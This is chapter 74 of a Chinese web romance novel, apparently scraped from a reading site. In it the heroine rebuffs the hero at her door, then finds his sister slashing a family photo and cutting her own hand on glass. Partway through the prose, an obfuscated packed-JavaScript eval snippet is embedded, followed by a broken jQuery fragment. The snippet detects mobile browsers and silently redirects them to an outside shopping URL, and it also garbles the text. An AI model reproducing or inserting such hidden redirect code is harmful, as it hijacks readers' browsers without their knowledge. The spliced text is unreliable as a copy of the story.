74. 第 74 章

作品:《我要你爱我

    卧房内的香薰持续散发着舒缓的香味,夏夕怡今天实在有些累,特意又点了一个助眠蜡烛。


    洗漱完躺在床上,一直到很晚,楼下的声音才渐渐散去,听起来相谈甚欢。


    “小涧,爸妈走了,早点睡。”


    “嗯。”


    其实这里有谢家夫妻俩的主卧,不知道他们今晚又因何而离开。


    外边一下安静得只剩脚步声。


    夏夕怡的精神突然有些紧绷。


    谢汐的房间在楼下,大概很早就睡了,没听见她的声音。


    而如她所料,那道来自谢涧的脚步声在她房门前停下,没有继续往前走。


    “夏夕怡,我说了,你什么都不用答应他。”


    门外响起低哑的男声。


    夏夕怡没应,克制地深呼吸起来,捏紧被单。


    大概是应激反应,现在的她一碰上和谢涧有关的任何东西,就会毫无预兆地想起她在车上被拒绝的事。


    然后心脏就会开始一颤一颤地疼。


    她抬手捂住胸口,这时候听见门把手传来拧动的声音。


    “别进来!”


    她下意识脱口而出,猛地抬头看过去,门却没开。


    “……”她忘了,进房的时候她锁了门。


    “夏夕怡,开门。”门外的声音带着平静之下的暗涌,好像在压抑着某种难以控制的情绪。


    已经出了声,就没办法再装睡。


    “一个男人在大半夜进一个女生房间合适么?”夏夕怡问。


    略带冷漠的声音透过门板传出去,外面静了几秒,像是突然冷静下来。


    曾经他们甜蜜,谢涧进她房间是惊喜,可现在不是了。


    门外的人大概是明白过来了,没再想要进门。


    只是问:“你为什么要答应他?”


    “这不是正如你所愿?”夏夕怡反问。


    “你知道我不是这个意思。”


    “我不知道。”


    “……”门外好长一段时间没有动静。


    就在夏夕怡以为他走了的时候,声音又响起来。


    “夏夕怡,他凭什么喊你夏夏?”声音很微弱,很快消散在空气中。


    然后声音又变大,夹杂着无奈,“不论如何,你安心当好谢家人。”


    门外声音远去,夏夕怡眼睫一颤,一滴泪水滑落下来。


    翌日,夏夕怡起得很早,因为今天和段琛约好了。


    出门时,听见楼下隐隐的哭声——是谢汐又做噩梦了。


    谢家真是个奇怪的地方,哥哥妹妹都存在心理问题。


    夏夕怡走下楼,哭声愈发清晰,她看向那间客房门,脑海中浮现出谢奶奶那张脸。


    谢汐到底是怎么将奶奶变成那样的呢?


    如果奶奶知道真相,会生她的气吗?


    或许不会吧。


    因为奶奶已经原谅过谢家小女儿一次了,即便夏夕怡觉得自己没做什么。


    但她还是原谅了。


    因为谢汐是她疼爱的孙女。


    不……或许还是会生气。


    气她假扮自己孙女的身份,欺骗她的感情。


    离开疗养院后,夏夕怡还和奶奶经常通话联系,听着电话里奶奶“好好吃饭好好学习”的问候,她的心就会被温暖充斥。


    忽然想到未来奶奶看向她的目光可能会充满愤怒和排斥,她就感到空落落的疼。


    房间内的哭声已经清晰传至室外,谢涧还没起床,管家走过来低声道:“少爷还没起,这件事您能处理吗?”


    因为她也是谢家人,所以理所应当要管这件事。


    “还是喊一下他吧。”夏夕怡朝那间房走去,“我先尝试安抚。”


    哭声里夹杂着恐惧,她不能放任不管。


    “好的小姐,刚刚好像听见里面有轻微的撞击声,如果有事您叫我。”


    “嗯。”


    推开门,有些狭小的室内窗帘紧闭不透一丝光,只有床头灯照亮那一小块地方。


    光内有一个人影坐在床边颤抖。


    夏夕怡放轻脚步走过去,“你没事吧?”


    哭声停住,谢汐猛地抬起头看向她,嗓音哑着充满防备,“怎么是你?”


    夏夕怡低声说:“让人去喊你哥了,我来看看你有没有事。”


    “我没事。”谢汐的声音低了点,还在抽泣,“你、你出去。”


    夏夕怡停下脚步,视线微动仔细观察着,“好,我马上——”


    话音一顿,她的视线被什么光亮闪过,垂眼一看,发现满地闪着微光的东西。


    是玻璃碎片。


    “你!”夏夕怡一惊,快走两步上前,果然发现她手里拿着东西。


    即便她很快地将手藏在身后,夏夕怡还是看见了她手里的也是一块玻璃碎片。


    其中一只手因为位置的原因扭不到身后,夏夕怡一伸手就将那东西拽了过来。


    是一张纸状的物品,快速拿到灯下一看,发现是一张全家福。


    六个人,小时候的谢涧抱着还在襁褓里的谢汐,谢家夫妻俩还有爷爷奶奶将他们围住。


    其实应当是一个温馨的画面,可照片上却突兀地出现了几道划痕。


    谢严和黎晓脸上被划了两道,而谢奶奶的脸上被划了无数道,已经完全看不清人脸。


    “你怎么能做这样的事?”夏夕怡难以置信地看向谢汐?


    “不用你管!”谢汐想抢回照片,“你还给我!”


    就算不懂心理学,也知道这样的举动代表着恨意。


    夏夕怡将照片藏在身后,神情有些严肃,“谢汐,把玻璃给我。”


    谢汐立刻又缩了回去,声音因为心虚而“你凭什么命令我!?你是我哥吗?”


    夏夕怡啧了声,面前的女生跟她一样的年纪,可行为却十分幼稚。


    “我是你姐!”随口吐槽了声,放下手里的照片弯腰去拿她手里的玻璃,“别玩了,很危险。”


    “我不要!啊——”


    谢汐不知道突然抽了什么风,整个人往后一躺,闭着眼睛开始尖叫起来。


    夏夕怡耳膜被震得嗡嗡响,蹙着眉还不知道发生了什么,突然被一股大力往后一拽。


    熟悉的气味擦肩,往前走,她看见谢涧冲上前抱住了谢汐的脑袋。


    “好了,没事,哥在。”


    夏夕怡的掌心传来一阵刺痛,抬手一看发现被玻璃划破了一道口子。


    再抬头看,谢涧已经将谢汐安抚下来了。


    谢汐在谢涧面前很乖,谢涧一伸手,她就将玻璃递了出去。


    这个时候,夏夕怡和谢涧同时发现了异样。


    谢涧握住谢汐的手腕,一翻,血肉模糊的手掌出现在他们眼前。


    应该是太用力握着玻璃所导致的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243772|191648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浑身血液瞬间发凉,即便这不是夏夕怡直接造成的,但她还是感到心慌。


    这时候,谢涧回头看了她一眼,然后很快收回视线扶着谢汐下床。


    “送你去医院。”


    谢涧扶着谢汐从她身边再次擦过。


    夏夕怡僵硬地垂下眼,动了动在发颤的手指,感受掌心的疼痛,心里竟然在想,如果这个伤口能严重点就好了。


    感情很可怕,会让人失去自我。


    好在夏夕怡还能控制自己的行为,只是静静站着。


    “哟,挺热闹,出什么事了?”


    “这位小妹妹是谁?”


    厅外,一道熟悉的嗓音传来。


    段琛来了。


    “段少爷不请自来,是不是不太好?”是谢涧的声音。


    “谁说我是不请自来,我是应我未婚妻的约。”


    这不着调的声音现在成为了夏夕怡安全感的来源。


    她转身离开这间令人窒息的房间。


    段琛见她出来,笑着迎上来,手轻轻搭在她的肩上,“走吧——”


    “嗯?手怎么了?”


    视线只是简单一扫,他的声音立刻就沉了,拉起她的手。


    谢涧不知为何还停留在客厅,听见声音回头看向她,“怎么了?”


    “你问我?”段琛好笑地抬头,“你们刚刚不在一起呢?她手划这么大一道没看见?”


    谢涧蹙了蹙眉,很快说:“受伤了跟着一起去医院。”


    “别了。”段琛笑了笑,“我怕你只顾着小妹妹,给她忘停车场里怎么办?”


    这人实在太聒噪,谢涧冷声说:“我在跟她说话。”


    “不用了。”夏夕怡终于开口,看着他搂着谢汐的手,“我在家处理一下就好。”


    “夏夕怡。”谢涧又喊她的名字。


    “得了我有家庭医生,你快走吧,等会小妹妹手上该留疤了。”段琛随手挥了挥,拿出手机拨通了电话。


    谢涧的视线还停留在夏夕怡身上,不知道在想什么。


    几秒后,他将视线挪开,扶着谢汐离开了。


    段琛和医生联系好,回来扶着她的手腕,带她去沙发上坐着。


    管家很迅速地拿了药箱过来,段琛用镊子夹了棉球沾酒精,“这种伤我熟,我先帮你处理一下,一会儿医生来了我让他看看有没有玻璃渣,不会让你留疤的。”


    他声音很轻,夏夕怡不知道是为什么。


    一分钟后,她看见面前的人抬起头,给她抽了张纸巾,无奈道:“很痛吗?再忍忍。”


    夏夕怡眨眨眼,才发现自己又开始流泪了。


    段琛见她没动静,抽过纸巾帮她擦了眼泪,“就这点伤还哭,丢人不?”


    “丢人。”夏夕怡哑声说,眼睛被纸巾碰着一眨一眨,每次眨都有滚烫的泪水滑落。


    段琛不说话了,只是轻轻帮她擦着眼泪。


    几分钟后,夏夕怡的眼泪终于不再流了。


    她清了清嗓子,艰难但用力地说:“爸,我想尽早离开。”


    “嗯,我们尽快走。”段琛弯着眼睛,柔声说。


    “好了好了别哭了,一会儿医生来了都得笑话你。”


    夏夕怡直愣愣地看着他。


    半晌才说:“你好像,是个好爸爸。”


    “……”段琛扯了扯嘴角。


    谢谢啊。